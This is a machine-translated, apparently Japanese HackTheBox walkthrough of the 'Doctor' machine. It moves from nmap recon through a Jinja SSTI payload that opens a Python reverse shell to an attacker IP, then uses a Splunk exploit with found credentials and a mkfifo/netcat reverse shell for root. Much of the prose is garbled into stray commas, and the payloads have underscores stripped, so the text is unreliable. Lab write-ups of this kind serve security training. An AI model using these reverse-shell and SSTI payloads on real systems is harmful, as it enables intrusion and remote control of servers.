ボックスをハックします。ウォークスルードクター。SSTIからRCEへ。Splunkd経由のLPE

HackTheBoxプラットフォームからマシンのファイナライズのために送信されたソリューションを引き続き公開してますこれが、少なくとも誰かが情報セキュリティの分野で発展するのに役立つことを願っています。





ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいるので、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします:)





組織情報

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





Recon





IP 10.10.10.209, /etc/hosts.





10.10.10.209    doctor.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



  .





  /etc/hosts.





10.10.10.209    doctors.htb
      
      



, .





 Entry Point

.





  , .





  .





  , , XSS.





   , .





  , <item><title>. , .





  , .





  XSS, , SSTI. .





 :





</title></item>{{77}}
      
      



</title></item>{{7'7'}}
      
      



</title></item>{{config.items()}}
      
      



  . SSTI , :





{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
      
      



  :





import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
      
      



  . :





</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
      
      



 USER

adm, . Apache pas, secret ..





 そして、ユーザーのパスワードである興味深い文字列を見つけました。





 資格情報を取得したので、ポート8089で実行されているSplunkサービスを利用して特権を昇格させてみましょう。このエクスプロイトを使用します(https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)。





python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
      
      



 そして、リスナーへのバックコネクトを取得します。












All Articles